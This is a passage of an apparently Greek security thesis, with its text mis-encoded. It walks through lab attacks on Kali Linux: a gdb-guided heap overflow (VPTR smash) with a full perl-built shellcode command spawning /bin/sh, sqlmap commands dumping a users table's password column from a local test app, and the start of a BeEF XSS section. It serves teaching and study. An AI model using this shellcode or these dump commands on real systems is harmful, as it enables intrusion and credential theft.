Να ηνληζηεί, πσο ε αλ ε δεκηνπξγία ηεο αίηεζεο ζηε κεραλή αλαδήηεζεο γηλόηαλ από 

ηελ αληίζηνηρε client εθαξκνγή ηεο κεραλή αλαδήηεζεο(θαη όρη από ηνλ θπιινκεηξεηή) 

ε απάληεζε ζα κπνξνύζε(αλ ήηαλ επηζπκεηό) λα απνθσδηθνπνηεζεί από ηελ client 

εθαξκνγή θαη ελ ηέιεη λα εκθαληζηεί ην keyword ζην ρξήζηε κε ηελ αξρηθή ηνπ κνξθή. 
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5 KALI LINUX 

5.1 ΠΔΡΙΓΡΑΦΗ KALI LINUX 

Τν KaliLinux είλαη κηα δηαλνκή Linux θαη επηθεληξώλεηαη ζηνλ ηνκέα ηεο αζθάιεηαο 

παξέρνληαο penetrationtests. Τν KaliLinux βαζίδεηαη ζε ινγηζκηθό δηαλνκήο Debian. Η 

δηαλνκή δεκηνπξγήζεθε κε θύξην ζθνπό ηε ρξήζε ζε δνθηκέο δηείζδπζεο. Σπληεξείηαη 

θαη ρξεκαηνδνηείηαη από ηελ OffensiveSecurity. 

Γεκηνπξγόο ηνπ Kali είλαη ε νκάδα πνπ είρε δεκηνπξγήζεη ην BackTrackLinux. Τν 

BackTrackLinuxαπνηεινύζε ηελ πξώηε έθδνζε κηαο εηδηθεπκέλεο δηαλνκήο ε νπνία 

θπθινθόξεζε ην 2006 γηα penetrationtesting θαη γηα hacking, δηαζέηνληαο όια ηα 

απαξαίηεηα εξγαιεία γηα εξγαζίεο αμηνιόγεζεο αζθάιεηαο. Σηελ αξρε ήηαλ έλα livecd 

πνπ ελζσκάησλε όια ηα ζρεηηθά εξγαιεία, ελώ κε ην πέξαζκα ησλ ρξόλσλ, εμειίρηεθε 

ζε κηα εγθαηαζηάζηκε δηαλνκή ε νπνία είρε ζαλ βάζε ηεο ην Ubuntu.  Σηε ζπλέρεηα 

αθνινύζεζαλ ην BackTrack 2, ην νπνίν  εθδόζεθε ζηηο 6 Μαξηίνπ 2007 θαη πεξηιάκβαλε 

πάλσ από 300 εξγαιεία αζθαιείαο. Σηηο 14 Γεθεκβξίνπ 2007, εθδόζεθε κηα 

δνθηκαζηηθή έθδνζε ηνπ BackTrack 3 αιιά αλαθνηλώζεθε όηη ζπγθεληξσλόηαλ 

πεξηζζόηεξν ζε ππνζηήξημε λεόηεξσλ πιηθώλ θαη ηειηθά ην BackTrack 3 εθδόζεθε ζηηο 

19 Ινπλίνπ 2008. Έπεηηα ην BackTrack 4 Beta εθδόζεθε ζηηο 19 Φεβξνπαξίνπ 2009 κε 

κεγαιύηεξε αιιαγή ηε κεηαθνξά ζην Debian θαη αθνινπζεαζαλ ην BackTrack 4 Pre-

Final εθδόζεθε ζηηο 19 Ινπιίνπ ηνπ 2009, ην BackTrack 4 ηειηθή έθδνζε εθδόζεθε ζηηο 

11 Ιαλνπαξίνπ 2010, ην BackTrack 4 R1 εθδόζεθε ζηηο 8 Μάηνπ ηνπ 2010 θαη ην 

BackTrack 4 R2 εθδόζεθε ζηηο 22 Ννεκβξίνπ ηνπ 2010. Τέινο ηνBackTrack, πέξαζε ζε 

κηα λέα επνρή, θαζώο ε βαζηθή ηνπ νκάδα, πξνρώξεζε ζε κηα πιήξε αλαδηνξγάλσζε, 

αθήλνληαο πίζσ ηόζν η' όλνκα, όζν θαη ην Ubuntu πνπ βαζηδόηαλ. Όιεο απηέο ηηο 

θηλήζεηο, ηηο είραλ αλαθνηλώζεη ηνλ Ιαλνπάξην ηνπ 2013. Έηζη ζηηο 13 Μαξηίνπ ην 2013 

θπθινθόξεζεε δηαλνκή πνπ νλνκάδεηαη KaliLinux,ε νπνία είλαη  εκπλεπζκέλε από ηελ 

Hindu, ζεόηεηα ησλ Φηιηππίλσλ ε νπνία ζπκβνιίδεη ηνλ ρξόλν θαη ηηο αιιαγέο. 

Σπγρξόλσο ε νκάδα αλάπηπμεο απνθάζηζε λα αθήζεη πίζσ θαη ην Ubuntu θαη πιένλ λα 

βαζίδεηαη ζην Debian, θαζώο έθξηλαλ πσο ηα νθέιε από θάηη ηέηνην, ζα ήηαλ 

πεξηζζόηεξα. 

Η δηαλνκή ζρεδηάζηεθε από ηελ αξρή. Απηό ηνπο έδσζε ηελ ειεπζεξία λα 

εγθαηαιείςνπλ ην Ubuntuθαη λα επηιέμνπλ ην Debian ζαλ βαζηθή δηαλνκή, ζηελ νπνία 

ζηεξίδνληαη πιένλ (απηή ηε ζηηγκή ζηεξίδεηαη ζην DebianWheezy).Δθηόο από κεξηθέο 

δηαδξνκέο, πνπ άιιαμαλ ιόγσ ησλ πξνδηαγξαθώλ ηνπFilesystemHierarchyStandard, νη 

ρξήζηεο ηνπ BackTrack δελ ζα έρνπλ λα αληηκεησπίζνπλ πνιύ δηαθνξεηηθό 
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πεξηβάιινλ.Πεξηέρεη πνιιά εξγαιεία γηα δνθηκέο δηείζδπζεο ζε δίθηπα θαη δηαηίζεηαη 

δσξεάλ. Όια ηα παθέηα, αιιά θαη ε ίδηα ε δηαλνκή είλαη ππνγεγξακκέλα κεGPG. 

 

 

Πηγη : https://www.kali.org/ 

Παξαθάησ ζα γίλεη πξαθηηθή εθαξκνγή πάλσ ζην ιεηηνπξγηθό ζύζηεκα KaliLinux, 

ρξεζηκνπνηώληαο ζπγθεθξηκέλα εξγαιεία ηνπ 
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5.2 GNU DEBUGGER 

 

5.2.1 Περηγραθή GNU Debugger 

Σηελ ελόηεηα απηή ζα παξνπζηαζηεί ελόο ηύπνπ BufferOverflow επίζεζεο κε ηε ρξήζε 
ηνπ KaliLinux. Γηα ηελ εθηέιεζε ηεο επόκελεο επίζεζεο ζα ρξεζηκνπνηήζνπκε ην 
εξγαιείν gdb. Ο απαζθαικαησηήο GNU, πνπ ζπλήζσο απνθαιείηαη GDB, κε ην 
εθηειέζηκό ηνπ λα έρεη ην όλνκα gdb, είλαη ν απνζθαικαησηήο ηνπ ζπζηήκαηνο 
ινγηζκηθνύ GNU. Δίλαη κεηαθέξζηκνο θαη εθηειείηαη ζε πνιιά ζπζηήκαηα Unix(όπσο 
είλαη θαη ην KaliLinux) θαη ιεηηνπξγεί κε δηάθνξεο γιώζζεο πξνγξακκαηηζκνύ, όπσο 
ε Ada, ε C, ε C++, ε Objective-C, ε FreeBASIC, ε FreePascal θαη ε Fortran. Ο GDB 
πξνζθέξεη ζεκαληηθά ραξαθηεξηζηηθά γηα ηελ παξαθνινύζεζε θαη ηελ ηξνπνπνίεζε ηεο 
εθηέιεζεο ησλ πξνγξακκάησλ. Ο ρξήζηεο κπνξεί λα εμεηάδεη θαη λα ηξνπνπνηεί ηηο 
ηηκέο ησλ εζσηεξηθώλ κεηαβιεηώλ ησλ πξνγξακκάησλ, θαη κπνξεί αθόκα θαη λα 
θαιέζεη ππνξνπηίλεο πνπ είλαη αλεμάξηεηεο από ηελ θαλνληθή ζπκπεξηθνξά ηνπ 
πξνγξάκκαηνο. 

 

 

5.2.2 Περηγραθή Δπίζεζες 

Θα εθηειέζνπκε ηελ επίζεζε ζην αξρείν zoo.cpp, ην νπνίν δεκηνπξγεί 2 νληόηεηεο 
δώσλ. Δπηπξόζζεηα, ζην ίδην αξρείν νξίδνληαη νη ζπλαξηήζεηο set_name θαη speak, ηηο 
νπνίεο ν ρξήζηεο κπνξεί λα θαιέζεη κέζσ νξηζκάησλ. Ο δεκηνπξγόο ηνπ αξρείνπ έρεη 
δώζεη ζηνπο ρξήζηεο δηθαηώκαηα κόλν γηα αλάγλσζε θαη εθηέιεζε ηνπ θώδηθα. 
Δπηπξόζζεηα ππάξρεη έλα θξπθό αξρείν, γηα ην νπνίν έρεη κόλν ν ίδηνο δηθαηώκαηα γηα 
αλάγλσζε. 

Πξώηνο ζηόρνο είλαη ε εύξεζε ηεο ΒufferOverflow αδπλακίαο. Γηα ην ιόγν απηό ζα 

αλνίμνπκε ην αξρείν zoo.cpp θαη ζα ην ειέγμνπκε  πξνζερηηθά. Παξαηεξνύκε όηη ε 

bufferoverflow αδπλακία βξίζθεηαη ζηε ρξήζε ηεο ζπλάξηεζεο strcpy ε νπνία 

αληηγξάθεη ην πεξηερόκελν ηνπ νξίζκαηνο από ηε γξακκή εληνιώλ, ζε έλα buffer 256 

byte ρσξίο λα θάλεη έιεγρν πξώηα αλ ην κέγεζνο ηνπ νξίζκαηνο είλαη κηθξόηεξν ή ίζν 

ηνπ 255. Δπίζεο βιέπνπκε όηη ε strcpy είλαη θνκκάηη ηεο κεζόδνπ set_name ηεο θιάζεο 

animal, ε νπνία αθνινπζείηαη ζπλνδεύεηαη από κηα virtual ζπλάξηεζε. Δπεηδή ν buffer 

είλαη κεηαβιεηή θιάζεο, επνκέλσο ζα απνζεθεπηεί ζην heap θαη όρη ζην stack. Ψο εθ 

ηνύηνπ ζα αθνινπζήζνπκε ηε ηερληθή ηνπ ―VPTRsmash‖, ζηνρεύνληαο ζηελ 

ηξνπνπνίεζε ηνπ vptr ελόο από ησλ δύν αληηθεηκέλσλ θαη ην exploit απηνύ, κέζσ ηεο 

θιήζεο ηεο virtual κεζόδνπ speak. 

http://el.wikipedia.org/wiki/%CE%91%CF%80%CE%BF%CF%83%CF%86%CE%B1%CE%BB%CE%BC%CE%AC%CF%84%CF%89%CF%83%CE%B7
http://el.wikipedia.org/wiki/GNU
http://el.wikipedia.org/wiki/Unix
http://el.wikipedia.org/wiki/%CE%93%CE%BB%CF%8E%CF%83%CF%83%CE%B1_%CF%80%CF%81%CE%BF%CE%B3%CF%81%CE%B1%CE%BC%CE%BC%CE%B1%CF%84%CE%B9%CF%83%CE%BC%CE%BF%CF%8D
http://el.wikipedia.org/wiki/Ada
http://el.wikipedia.org/wiki/C_(%CE%B3%CE%BB%CF%8E%CF%83%CF%83%CE%B1_%CF%80%CF%81%CE%BF%CE%B3%CF%81%CE%B1%CE%BC%CE%BC%CE%B1%CF%84%CE%B9%CF%83%CE%BC%CE%BF%CF%8D)
http://el.wikipedia.org/wiki/C%2B%2B
http://el.wikipedia.org/w/index.php?title=Objective-C&action=edit&redlink=1
http://el.wikipedia.org/w/index.php?title=FreeBASIC&action=edit&redlink=1
http://el.wikipedia.org/w/index.php?title=Free_Pascal&action=edit&redlink=1
http://el.wikipedia.org/wiki/Fortran
http://el.wikipedia.org/wiki/%CE%A0%CF%81%CF%8C%CE%B3%CF%81%CE%B1%CE%BC%CE%BC%CE%B1_%CF%85%CF%80%CE%BF%CE%BB%CE%BF%CE%B3%CE%B9%CF%83%CF%84%CE%AE
http://el.wikipedia.org/w/index.php?title=%CE%9C%CE%B5%CF%84%CE%B1%CE%B2%CE%BB%CE%B7%CF%84%CE%AE_(%CF%80%CF%81%CE%BF%CE%B3%CF%81%CE%B1%CE%BC%CE%BC%CE%B1%CF%84%CE%B9%CF%83%CE%BC%CF%8C%CF%82)&action=edit&redlink=1
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Σηελ παξαπάλσ εηθόλα βιέπνπκε ηελ νξγάλσζε αληηθεηκέλσλ ζην heap, ελώ ζηελ 
παξαθάησ έρνπκε ηελ πξνβνιή ηεο δηεύζπλζεο Vptr 
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Πξώηα ζα βξνύκε ην κέξνο πνπ δεκηνπξγείηαη ην πξώην αληηθείκελν ζην heap. Γηα λα ην 

πεηύρνπκε απηό, ζα ρξεζηκνπνηήζνπκε ηνλ εξγαιείν/debuggergdb. Αξρηθά ζα 

εθηειέζνπκε ηελ εληνιή ―disassmain‖ έηζη ώζηε λα βξνύκε ην κέξνο πνπ θαιείηαη ν 

constrctuctor ηνπ πξώηνπ αληηθεηκέλνπ, δειαδή ηεο cow. Oconstructor θαιείηαη ζηε 

ζέζε main+53, νπόηε ζα βάινπκε έλα breakpoint ζηε main+58, ώζηε λα βξνύκε ηε 

ζέζε ζην heap όπνπ είλαη απνζεθεπκέλε ε δηέπζπλζε ηνπ πξώηνπ αληηθεηκέλνπ. Σηε 

ζπλέρεηα ζα εθηειέζνπκε ην πξόγξακκα θαη ζην breakpoint ζα βξνύκε ηε ηηκή ηνπ 

θαηαρσξεηή eax γηα λα εληνπίζνπκε ηε ζέζε ηνπ αληηθεηκέλνπ. Θα θάλνπκε ην ίδην θαη 

γηα ην δεύηεξν  αληηθείκελν, βάδνληαο breakpoint ζην main+84 θαη ηέινο βάδνπκε έλα 

breakpoint κεηά ηε θιήζε ηεο δεύηεξεο setname. 

Οπόηε ην αληηθείκελν ηεο cow βξίζθεηαη ζηε ζέζε 0x804a008. Μέζσ ηεο ηηκήο ηνπ 

θαηαρσξεηή eax, ζην δεύηεξν breakpoint, εληνπίδεηαη ε δηεύζπλζε κλήκεο ηνπ δεύηεξνπ 

αληηθεηκέλνπ(fox) ζην heap, ε νπνία είλαη ε 0x804a110. Η νξγάλσζε ηνπ heap έρεη σο 

εμήο. Σηελ αξρή ηνπ αληηθεηκέλνπ βξίζθεηαη ην vptr θαη ζηε ζπλέρεηα αθνινπζεί ην buffer 

κεγέζνπο 256 byte, όπσο θαίλεηαη θαη ζηελ εηθόλα παξαπάλσ. Αξρηθά παξαηεξνύκε, 

κέζσ ηεο εθηύπσζεο ηνπ πεξηερνκέλνπ ζηηο δηεπζύλζεηο ζηηο ζέζεηο 0x804a008+4 θαη 

0x804110+4, όηη όλησο νη buffers βξίζθνληαη ζε απόζηαζε 4 byte από ηε δηεύζπλζε ηνπ 

αληίζηνηρνπ αληηθεηκέλνπ. Γηα ην ιόγν, όηαλ ε εληνιήο εθηέιεζεο είλαη ε ―./zoo –c 

―cow_name‖ –f ―fox_name‖, ε εθηύπσζε ηεο πξώηεο δηεύζπλζεο εκθαλίδεη ην 

―cow_name‖, ελώ ε δεύηεξε ην ―fox_name‖(βιέπε εηθόλα 1). Δπηπξόζζεηα 

παξαηεξνύκε ζηε παξαπάλσ εηθόλα, όηη ηα ηέζζεξα πξώηα byte ηνπ αληηθεηκέλνπ fox 

πεξηέρνπλ ην vptr, ην νπνίν πεξηέρεη ηε δηεύζπλζε ηνπ vtable θαη γη‘ απηό, όηαλ θάλνπκε 

print ην πεξηερόκελν ηεο δηεύζπλζεο ηνπ vtable, εκθαλίδεηαη ε εγγξαθή «Fox::speak()», 

ζπλνδεπόκελν από ηε δηεύζπλζε απηήο. Τέινο ε απόζηαζε κεηαμύ ηεο δηεύζπλζεο ηνπ 

δεπηέξνπ αληηθεηκέλνπ από ην πξώην ηζνύηαη κε 264, ην νπνίν πξνθύπηεη από ηε 

δηαθνξά ηνπ 0x804a110 από ην 0x804a008. 

Δπνκέλσο, δεδνκέλνπ όηη ην heap πάεη από ηηο ρακειέο δηεπζύλζεηο ζηηο πςειέο(ζε 

αληίζεζε κε ην stack), έλα αληηθείκελν δελ κπνξεί λα θάλεη override ην vptr ηνπ, σζηόζν 

ε cow κπνξεί λα θάλεη override ην vptr ηνπ fox. Γηα ην ιόγν απηό, αξρηθά ζπκπεξαίλνπκε 

όηη νη εληνιέο εθηέιεζεο ζα αθνξνύλ ηελ αιιαγή νλόκαηνο ζην αληηθείκελν cow θαη ηε 

ρξήζε ηνπ flag –s, ώζηε λα θιεζεί ε virtual ζπλάξηεζε speak ησλ δύν αληηθεηκέλσλ, θαη 

επεηδή ην vptr ηεο fox ζα είλαη ηξνπνπνηεκέλν, ζα θαηαθέξνπκε λα θάλνπκε ην exploit 

ηνπ πξνγξάκκαηνο zoo. 
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Σηόρνο καο, επνκέλσο είλαη λα ππεξρεηιίζνπκε ηνλ buffer ηνπ cow,  έηζη ώζηε λα 

θάλνπκε override ην vptr ηνπ fox. Όηαλ θιεζεί ε ζπλάξηεζε speak ηνπ fox, ν 

επεμεξγαζηήο ζα πάεη ζην vptr ηνπ fox, από ην νπνίν ζα βξεη ηε δηεύζπλζε ηνπ 

αληίζηνηρνπ vtable θαη από εθεί ζα βξεη ηε ζπλάξηεζε ηεο speak. Γειαδή ζηόρνο καο 

είλαη λα εηζάγνπκε ην shellcode καο, θάπνπ κέζα ζην buffer ηνπ cow, ζηε ζπλέρεηα λα 

θηηάμνπκε έλα δηθό καο vtable, ην νπνίν ζα δείρλεη ζην shellcode θαη ηέινο λα 

αιινηώζνπκε ηνλ vptr ηνπ fox, έηζη ώζηε λα δείρλεη ζην vtable καο. 

Μηα θαιή ηαθηηθή είλαη λα βάινπκε ην vtable ζηελ αξρή ηνπ buffer ηνπ cow θαη ζηε 

ζπλέρεηα λα βάινπκε ηόζα NOPS, έηζη ώζηε ζην ηέινο λα ηνπνζεηεζεί ην shell, ην 

νπνίν ζα ηεξκαηίδεη αθξηβώο πξηλ ην vptr ηνπ fox. Με ηνλ ηξόπν απηό, κπνξνύκε λα 

θάλνπκε ην vtable λα δείρλεη 4 Byte πην θάησ, ώζηε κέζσ ηεο πξνζπέξαζεο ησλ 

εληνιώλ nop, λα εθηειεζηεί ην shell καο.  Δπεηδή ζα έρνπλ πξνεγεζεί αξθεηά nop  

κεηαμύ ηνπ vtable καο θαη ηνπ shell, ζα κπνξνύζακε λα βάινπκε ην vtable λα δείρλεη 

θάηη παξαπάλσ από 4 byte παξά πέξα, ώζηε λα εθκεηαιιεπηνύκε ηηο εληνιέο nop θαη 

λα αληηκεησπίζνπκε ηε πεξίπησζε ηεο κηθξήο αιιαγήο  ησλ δεδνκέλσλ, όζνλ αθνξά 

ηηο δηεπζύλζεηο ζην heap. Δπηπξόζζεηα ζα κπνξνύζακε λα βάδακε κεξηθά nop ζηελ 

αξρή ηνπ script, δειαδή πξηλ από ην vtable, ώζηε λα ήηαλ πην αλζεθηηθό ην exploitscript, 

ζε κηθξή αιιαγή ζηε δηεύζπλζε ηνπ buffer ηνπ cow. Τέινο ην κόλν πνπ απνκέλεη είλαη 

λα βάινπκε ην vptr ηνπ fox λα δείρλεη  ζην δηθό καο vtable. Γεδνκέλνπ όηη ην vtable 

βξίζθεηαη ζηελ αξρή ηνπ buffer ηνπ cow, ην νπνίν βξίζθεηαη ζηε δηεύζπλζε κλήκεο  

―0x804a008‖+4 = ‖0x804a00c‖, νπόηε αξθεί λα θάλνπκε override ην vptr ηνπ fox, ώζηε 

λα δείρλεη ζηε ζέζε κλήκεο ηνπ heap 0x804a00c.  

Βάζε ησλ παξαπάλσ, ε δνκή ηεο παξακέηξνπ εηζόδνπ γηα ηελ αιιαγή ηνπ νλόκαηνο 

ζην cow ζα έρεη σο εμήο: 

1. 4 byte γηα ην vtable 

2. 203 nop, ώζηε vtable+nops+shellcode=260 

3. 53 byte γηα ην shellcode 

4. 4 byte γηα ην override ηνπ vptr ηεο fox 

5. Καη ηέινο \0, γηα ηνλ ηεξκαηηζκό ηεο strcpy 

Δπνκέλσο ην script γηα ην exploit ηνπ masteruser είλαη ην εμήο: ./zoo -s -c `perl -e 'print 

"\x10\xa0\x04\x08", "\x90"x203, 

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x

46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\

xe8\xdc\xff\xff\xff/bin/sh", "\x0c\xa0\x04\x08", "0" '` 
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Έλα από ηα πνιιά κελύκαηα πνπ αλαγλώζηεθαλ είλαη ην παξαθάησ. 
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5.3 ΔΠΙΘΔ΢Η ΓΗΛΗΣΗΡΙΑ΢Η΢ SQL ΚΩΓΙΚΑ 

5.3.1 Περηγραθή SQLMAP 

Τν SQLMAP είλαη έλα από ηα πην δεκνθηιή θαη ηζρπξά εξγαιεία γηα ηελ εθηέιεζε SQL 

επηζέζεσλ. Τν SQLMAP δέρεηαη σο είζνδν έλα επάισην ζε επηζέζεηο κόιπλζεο ηνπ 

SQL θώδηθα ζύλδεζκν θαη πξνζπαζεί λα εθκεηαιιεπηεί ηελ αδπλακία απηή θαη λα θάλεη 

επηζέζεηο ζηηο απνκαθξπζκέλεο βάζεηο πνπ ππνζηεξίδνπλ ηελ επάισηε ζε SQL 

επηζέζεηο εθαξκνγή.  Τν πξόγξακκα είλαη γξακκέλν ζηελ πξνγξακκαηηζηηθή γιώζζα 

Python θαη κέζσ ηεο δεκηνπξγίαο πνιιώλ θαθόβνπισλ sql επεξσηεκάησλ, πξνζπαζεί 

λα εθκεηαιιεπηεί ηηο αδπλακίεο ηεο εθαξκνγήο. 

Φαξαθηεξηζηηθά παξαδείγκαηα ελεξγεηώλ πνπ κπνξεί λα θάλεη ην SQLMAP είλαη ηα 

εμήο: 

 Δμαγσγή ησλ νλνκάησλ ησλ βάζεσλ δεδνκέλσλ πνπ ππνζηεξίδνληαη από ηελ 

απνκαθξπζκέλε βάζε/εμππεξεηεηή. 

 Δμαγσγή δεδνκέλσλ πνπ αθνξνύλ κηα ζπγθεθξηκέλε βάζε, όπσο είλαη ηα 

νλόκαηα θαη πιεξνθνξίεο ησλ δηαζέζηκσλ tables, ηηο ζηήιεο/πεδία θάζε table, 

θαζώο θαη ηα πεξηερόκελα ησλ tables. 

 Αλάγλσζε θαη ηξνπνπνίεζε αξρείσλ ζην απνκαθξπζκέλν filesystem. 

Τν SQLMAP παξέρεη ππνζηήξημε γηα ηελ εθκεηάιιεπζε κηαο απνκαθξπζκέλεο βάζεο 

γηα κηα πιεζώξα ιίζηα από δηαζέζηκα ζπζηήκαηα Βάζεσλ Γεδνκέλσλ θαη filesystems, 

όπσο είλαη ε MySQL, Η Oracle, ε PostgreSQL, ε MicrosoftSQL, ην MicrosoftAccess, ε 

IBMBD2, ε SQLite, ε Sybase, ε SAPMaxDB, ε HSQLDB θαη δηάθνξεο άιια. 

Δπηπξόζζεηα ην Sqlmap πξνζθέξεη θαη άιιεο επηπξόζζεηεο ιεηηνπξγίεο πνπ βνεζνύλ 

ζηελ εθκεηάιιεπζε κηαο SQLinjection αδπλακίαο, όπσο είλαη ε αλαγλώξηζε ηεο κνξθήο 

θαηαθεξκαηηζκνύ πνπ ρξεζηκνπνηήζεθε γηα ηελ θξππηνγξάθεζε ελόο δεδνκέλνπ, όπσο 

είλαη ην password. 

5.3.2 Δθηέιεζε Δπηζέζεφλ 

Αξρηθά πινπνηήζεθε κηα επάισηε εθαξκνγή ζε SQL επηζέζεηο, ε νπνία ρξεζηκνπνηεί 

κηα MySQL βάζε δεδνκέλσλ γηα  ηελ ππνζηήξημε ησλ αλαγθώλ ηεο. Η εθαξκνγή απηή 

πεξηέρεη ηνλ ζύλδεζκν 

«192.168.56.1/kali_penetrations/SQL_Injection/userInfo.php?id=userID», όπνπ 

δεδνκέλνπ ηνπ userID, επηζηξέθεη ηα ζηνηρεία πνπ αληηζηνηρνύλ ζηνλ ρξήζηε απηό. Γηα 

ηελ ζύλδεζε κε ηε βάζε δεδνκέλσλ θαη ηελ δεκηνπξγία ηνπ θαηάιιεινπ επεξσηήκαηνο, 
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κε ζηόρν ηελ αλάθηεζε ησλ ζηνηρείσλ ηνπ profile ηνπ ρξήζηε, ρξεζηκνπνηείηαη κηα 

ζπλάξηεζε ε νπνία παίξλεη σο είζνδν ην userID, ην νπνίν ππάξρεη ζην link.  

Ψζηόζν ε εθαξκνγή δελ θάλεη θάπνηνπ είδνπο πξνζηαζία γηα ηελ αληηκεηώπηζε ησλ 

SQL επηζέζεσλ, όπσο είλαη ε ρξήζε ησλ PrepareStatements. Τελ αδπλακία, ζα 

πξνζπαζήζνπκε λα ηελ εθκεηαιιεπηνύκε κε ηε ρξήζε ηνπ SQLMAP. 

Σε πξώηε θάζε, ζα δνθηκάζνπκε αλ ην SQLMAP είλαη ζε ζέζε λα εθκεηαιιεπηεί ηπρόλ 

SQLinjection αδπλακία. Γηα λα ην επηηύρνπκε απηό, ζα ρξεζηκνπνηήζνπκε ηελ εληνιή: 

sqlmap -uhttp://192.168.56.1/kali_penetrations/SQL_Injection/userInfo.php?id=1 --dbs 

όπνπ ην όξηζκα –u νξίδεη όηη αθνινπζεί ν πηζαλώο επάισηνο ζύλδεζκνο, ελώ ην flag –

dbs νξίδεη όηη ζε πεξίπησζε πνπ ε εθαξκνγή είλαη επάισην, λα επηζηξέςεη ηηο βάζεηο 

πνπ ππνζηεξίδεη ην ζπγθεθξηκέλν ζύζηεκα. 

 

Σηελ παξαπάλσ θσηνγξαθία θαίλεηαη ε αξρηθή δνθηκή πνπ γίλεηαη κε ην SQLMAP γηα 

λα γίλεη έιεγρνο αλ ε εθαξκνγή είλαη επάισηε ζε SQL επηζέζεηο. Με θόθθηλν είλαη 

ππνγξακκηζκέλν ην κήλπκα πνπ αλαθέξεη ην SQLMAP, βάζε ηνπ νπνίνπ ε εθαξκνγή 

πηζαλόλ λα είλαη επάισηε ζηε ηηκή πνπ δέρεηαη ε ηηκή id, ε νπνία ζηελ νπζία είλαη ε 

κεηαβιεηή πνπ απνζεθεύεηαη ε ηηκή ηνπ userID.  
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Σηελ επόκελε εηθόλα παξνπζηάδεηαη ε ζπλέρεηα ησλ απνηειεζκάησλ πνπ επέθεξε ε 

παξαπάλσ εληνιή, όπνπ ιόγσ ηεο ρξήζεο ηνπ flag –dbs, εκθαλίδνληαη νη βάζεηο πνπ 

ππνζηεξίδνληαη από ηε Σύζηεκα Βάζεο Γεδνκέλσλ πνπ ππνζηεξίδεη ηελ εππαζή 

εθαξκνγή. 

 

Σην επόκελν βήκα, αθνύ έρνπκε βξεη ηηο δηαζέζηκεο βάζεηο, ζα επηδηώμνπκε λα 

αλαθηήζνπκε πιεξνθνξίεο πνπ αθνξνύλ ηε βάζε δεδνκέλσλ πνπ καο ελδηαθέξεη. Σην 

ζπγθεθξηκέλν παξάδεηγκα, ε βάζε πνπ καο ελδηαθέξεη είλαη ε ―kali_penetrations‖ θαη ζε 

πξώηε θάζε ζα πξνζπαζήζνπκε λα αλαθηήζνπκε ηα tables πνπ πεξηιακβάλεη ε 

ζπγθεθξηκέλε βάζε. Γηα ηελ εύξεζε ησλ tables ηεο βάζεο ―kali_penetrations‖, ζα 

ρξεζηκνπνηήζνπκε ηελ εληνιή: 

sqlmap -u http://192.168.56.1/kali_penetrations/SQL_Injection/userInfo.php?id=1 -D 

kali_penetrations –table 

όπνπ ην flag –D νξίδεη ηε βάζε πνπ καο ελδηαθέξεη, ελώ ην flag –tables νξίδεη όηη 

επηζπκνύκε λα εκθαληζηνύλ ηα δηαζέζηκα ηεο βάζεο.  

Σηελ παξαθάησ εηθόλα παξαηίζεληαη ηα απνηειέζκαηα ηεο παξαπάλσ εληνιήο. 
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Παξαηεξνύκε, όηη ην SQLMAP καο ελεκεξώλεη γηα ην όξηζκα πνπ έδσζε σο είζνδν γηα 

ηελ εθηέιεζε ηεο επίζεζεο. 

Δπόκελν βήκα είλαη ε εύξεζε ησλ γεληθώλ πιεξνθνξηώλ ελόο ζπγθεθξηκέλνπ table, 

δειαδή ηεο εύξεζεο ησλ δηαζέζηκσλ ζηύισλ, θαζώο θαη ησλ ηύπν απηώλ. Γηα ηελ 

αλάθηεζε ησλ πιεξνθνξηώλ απηώλ, ρξεζηκνπνηήζεθε ε παξαθάησ εληνιή: 

sqlmap -u http://192.168.56.1/kali_penetrations/SQL_Injection/userInfo.php?id=1 -D 

kali_penetrations -T users –columns 

όπνπ ην όξηζκα –T νξίδεη ην επηιεγκέλν table ηεο βάζεο ―kali_penetrations‖, ελώ ην flag 

–columns νξίδεη όηη επηζπκνύκε λα επηζηξαθνύλ νη πιεξνθνξίεο ησλ columns ηνπ 

ζπγθεθξηκέλνπ table. Τα απνηειέζκαηα ηηο παξαπάλσ εληνιήο παξαηίζεληαη ζηελ 

επόκελε θσηνγξαθία. 
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Σην ηειεπηαίν ζηάδην ζα πξνζπαζήζνπκε λα αλαθηήζνπκε ηα δεδνκέλα πνπ αθνξνύλ 

κηα ζπγθεθξηκέλε ζηήιε(πρ ηε ζηήιε password) ελόο table(πρ ηνπ user). Γηα ηελ 

επίηεπμε ηνπ απνηειέζκαηνο ζα ρξεζηκνπνηήζνπκε ηελ επόκελε εληνιή: 

sqlmap -u http://192.168.56.1/kali_penetrations/SQL_Injection/userInfo.php?id=1 -D 

kali_penetrations -T users -C password –dump 

, όπνπ ην flag –C νξίδεη όηη αθνινπζεί ην όλνκα ηεο δεηνύκελεο ζηήιεο. Τα 

απνηειέζκαηα ηεο παξαπάλσ εληνιήο εκθαλίδνληαη ζηελ αθόινπζε εηθόλα. 
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5.4 BROWSER EXPLOITATION FRAMEWORK 

5.4.1 Περηγραθή BrowserExploitationFramework 

Τν BrowserExploitationFramework (BeEF)  είλαη έλα εξγαιείν ειέγρνπ, ην νπνίν είλαη 

ζρεδηαζκέλν γηα λα επηηξέπεη δνθηκέο ζηνποtestersελόο ινγηζκηθνύ λα εθηειέζνπλ 

client-side επηζέζεηο ελαληίνλ ζπγθεθξηκέλσλ browsers. Με ηε ρξήζε απηνύ ηνπ 

ινγηζκηθνύ, νη testers κπνξνύλ λα αμηνινγήζνπλ ην επίπεδν αζθάιεηαο πνπ πξνζθέξεη 

έλα ινγηζκηθό απέλαληη ζε client-sides επηζέζεηο, όπσο είλαη νη Non-persistentXSS 

επηζέζεηο. Τν BeEF είλαη έλα OpenSource Λνγηζκηθό, ην νπνίν βξίζθεηαη πξν-

εγθαηεζηεκέλν ζε νξηζκέλα ιεηηνπξγηθά ζπζηήκαηα, όπσο είλαη ην KaliLinux.  

5.4.2 Εκτέλεση Επίθεσης 

Σην επόκελν θνκκάηη παξνπζηάδεηαη κηα XSS επίζεζε από έλαλ θαθόβνπιν ρξήζηε 

πξνο έλαλ ρξήζηε κηαο δηαδηθηπαθήο ηζηνζειίδαο, ε νπνία δελ πξνζθέξεη θακία είδνπο 

πξνζηαζία απέλαληη ζε XSS επηζέζεηο.  

Γηα ηελ εθηέιεζε ηεο επίζεζεο αξρηθά ζα νξίζνπκε ηηο ηξείο βαζηθέο νληόηεηεο. Αξρηθά 

